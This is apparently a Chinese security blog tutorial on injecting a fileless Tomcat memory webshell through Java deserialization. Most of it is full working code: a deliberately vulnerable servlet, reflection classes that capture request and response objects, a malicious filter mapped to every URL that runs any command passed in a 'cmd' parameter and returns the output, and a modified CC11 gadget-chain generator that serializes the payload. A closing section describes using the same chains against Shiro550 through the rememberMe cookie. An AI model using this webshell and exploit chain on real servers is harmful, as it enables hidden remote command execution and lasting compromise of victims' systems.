Java安全-反序列化注入内存马

Java安全-反序列化注入内存马

对于我们之前学习的Tomcat内存马,只算是做了一些简单的实验,并未能够完全应用,只能通过文件上传jsp的方式来注入内存马,也是存在文件落地的现象的,并非真正的内存马

所以在这篇文章中,我们来学习利用反序列化来实现真正意义上的内存马的注入,本文中会结合 cc11 来进行内存马注入,这样可以实现真正的文件不落地,在上文利用 jsp 注入的时候由于 request 和 response 是 jsp 的内置对象,所以在回显问题上不用考虑,但是当我们结合反序列化进行注入的时候这些都成了需要考量的地方,这也是本文学习的一个点

半通用回显 Tomcat 打内存马

这里要用 web-app 的项目,并且用低版本的 Tomcat

先写一个 servlet

模拟反序列化漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import javax.servlet.annotation.WebServlet;  
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;

@WebServlet("/cc")
public class CCServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
InputStream inputStream = (InputStream) req;
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
resp.getWriter().write("Success");
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
InputStream inputStream = req.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
resp.getWriter().write("Success");
}
}

有反序列化操作调用readObject()方法就是可能会存在反序列化漏洞的,这里由于是我们自己构造的,我们知道这里一定存在反序列化漏洞

获取requst和response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Modifier;

public class TomcatEcho extends AbstractTranslet {

static {
try {
// 修改 WRAP_SAME_OBJECT 值为 true
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers"); //获取modifiers字段
modifiersField.setAccessible(true); //将变量设置为可访问
modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); //取消FINAL属性
f.setAccessible(true); //将变量设置为可访问
if (!f.getBoolean(null)) {
f.setBoolean(null, true); //将变量设置为true
}

// 初始化 lastServicedRequest & lastServicedResponse c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal()); //设置ThreadLocal对象
}

f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal()); //设置ThreadLocal对象
}

} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {

}
}

然后是取出 request 和 response 并注入 filter,和之前 filter 内存马的写法有很多相似之处

个人认为filter内存马的构造流程是最复杂的,要构造的变量比其他类型的内存马多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;

public class TomcatInject extends AbstractTranslet implements Filter {

/**
* webshell命令参数名
*/
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "Drunkbaby";

static {
try {
ServletContext servletContext = getServletContext();
if (servletContext != null){
Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);

Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(appctx);

if (standardContext != null){
// 这样设置不会抛出报错
Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);

Filter myFilter =new TomcatInject();
// 调用 doFilter 来动态添加我们的 Filter
// 这里也可以利用反射来添加我们的 Filter
javax.servlet.FilterRegistration.Dynamic filterRegistration =
servletContext.addFilter(filterName,myFilter);

// 进行一些简单的设置
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
// 设置基本的 url pattern
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});

// 将服务重新修改回来,不然的话服务会无法正常进行
if (stateField != null){
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}

// 在设置之后我们需要 调用 filterstart
if (standardContext != null){
// 设置filter之后调用 filterstart 来启动我们的 filter
// 这步是将我们之前写的需要在网页访问指定路径完成注册filter的步骤写进代码里
Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext,null);

/**
* 将我们的 filtermap 插入到最前面
*/

Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
//把filter插到第一位
Method m = Class.forName("org.apache.catalina.core.StandardContext")
.getDeclaredMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}

}

} catch (Exception e) {
e.printStackTrace();
}
}

private static ServletContext getServletContext()
throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ServletRequest servletRequest = null;
/*shell注入,前提需要能拿到request、response等*/
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
//如果不能去到request,则换一种方式尝试获取

//spring获取法1
if (servletRequest == null) {
try {
c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getRequest");
servletRequest = (ServletRequest) m.invoke(o);
} catch (Throwable t) {}
}
if (servletRequest != null)
return servletRequest.getServletContext();

//spring获取法2
try {
c = Class.forName("org.springframework.web.context.ContextLoader");
Method m = c.getMethod("getCurrentWebApplicationContext");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.WebApplicationContext");
m = c.getMethod("getServletContext");
ServletContext servletContext = (ServletContext) m.invoke(o);
return servletContext;
} catch (Throwable t) {}
return null;
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {

}

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
System.out.println(
"TomcatShellInject doFilter.....................................................................");
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}
}

如此一来,我们接下来只需要注入即可,必须是要通过动态加载字节码的形式,才可以打,所以这里我们用魔改的 CC11 链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

@SuppressWarnings("all")
public class CC11Template {

public static void main(String[] args) throws Exception {
byte[] bytes = getBytes();
byte[][] targetByteCodes = new byte[][]{bytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();

Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);

f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");

f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);

// 利用反射调用 templates 中的 newTransformer 方法
InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
HashSet hashset = new HashSet(1);
hashset.add("foo");
// 我们要设置 HashSet 的 map 为我们的 HashMap
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

f2.setAccessible(true);
Object[] array = (Object[])f2.get(hashset_map);

Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);

// 在 invoke 之后,
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");

try{
//ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step1.ser"));
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser"));
outputStream.writeObject(hashset);
outputStream.close();

}catch(Exception e){
e.printStackTrace();
}
}

public static byte[] getBytes() throws IOException {
// 第一次
InputStream inputStream = new FileInputStream(new File("E://TomcatEcho.class"));
// 第二次
InputStream inputStream = new FileInputStream(new File("E://TomcatInject.class"));

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}
}

接连注入即可,这里因为代码我们可以直接注入 .ser 序列化的文件,如果是要输入 string,简单把 .ser 文件 base64 一下即可

实战中是找到会将传入数据反序列化的入口点,将我们构造好的链子编译序列化后注入

小结

实现反序列化注入

  1. 要实现内存马的回显(获取request和response)

  2. 构造恶意filter并注册

    这里与上传jsp文件马不同的是多一步startfilter,这样不需要我们手动访问路径才能完成filter注册,而是直接让此filter运行

  3. 与反序列化利用链结合,找到入口和出发点,编写exp。序列化得到恶意数据,传入恶意数据

内存马打shiro550

通过全局存储 Response 回显来打

直接用KpLi0rn师傅的这个项目来打shiro内存马https://github.com/KpLi0rn/ShiroVulnEnv

首先通过注入tomcatHeader.ser来绕过长度限制

最后用tomcatInject.ser注入回显内存马

实际上就是直接用写好的链子序列化一下,再AES加密后直接传入rememberMe去打

这里就先不测试了

参考

基于tomcat的内存Webshell无文件攻击技术 | 大彩笔threedr3am

Java 反序列化打内存马 | Drunkbaby’s Blog

基于全局储存的新思路 | Tomcat的一种通用回显方法研究


Java安全-反序列化注入内存马
http://huang-d1.github.io/2025/10/27/Java安全-反序列化注入内存马/
作者
huangdi
发布于
2025年10月27日
许可协议